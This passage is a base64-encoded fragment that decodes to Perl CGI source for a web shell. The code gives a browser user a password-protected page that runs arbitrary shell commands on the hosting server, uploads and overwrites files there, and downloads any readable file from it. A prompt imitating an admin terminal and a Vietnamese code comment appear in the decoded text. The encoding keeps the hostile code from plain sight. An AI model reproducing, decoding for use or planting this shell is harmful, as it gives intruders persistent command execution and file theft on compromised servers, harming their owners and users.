kaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4